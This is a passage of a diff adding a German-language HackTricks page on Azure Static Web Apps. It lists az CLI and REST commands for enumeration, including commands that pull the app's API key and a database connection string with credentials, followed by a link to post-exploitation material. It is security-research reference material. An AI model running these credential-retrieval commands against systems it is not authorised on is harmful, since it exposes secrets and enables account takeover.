+az staticwebapp environment functions --name <name>
+
+# Get API key
+az staticwebapp secrets list --name <name>
+
+# Get invited users
+az staticwebapp users list --name <name>
+
+# Get database connections
+az rest --method GET \
+--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections?api-version=2021-03-01"
+
+## Once you have the database connection name ("default" by default) you can get the connection string with the credentials
+az rest --method POST \
+--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections/default/show?api-version=2021-03-01"
+```
+## Beispiele zur Erstellung von Webanwendungen
+
+Sie finden ein schönes Beispiel zur Erstellung einer Webanwendung im folgenden Link: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
+
+1. Forken Sie das Repository https://github.com/staticwebdev/react-basic/generate in Ihr GitHub-Konto und benennen Sie es in `my-first-static-web-app`
+2. Erstellen Sie im Azure-Portal eine Static Web App, indem Sie den Zugriff auf GitHub konfigurieren und das zuvor geforkte neue Repository auswählen
+3. Erstellen Sie es, warten Sie einige Minuten und überprüfen Sie Ihre neue Seite!
+
+## Post-Exploitation
+
+{{#ref}}
+../az-privilege-escalation/az-static-web-apps-post-exploitation.md
+{{#endref}}
+
+## Referenzen
+
+- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
+- [https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans](https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans)
+
+{{#include ../../../banners/hacktricks-training.md}}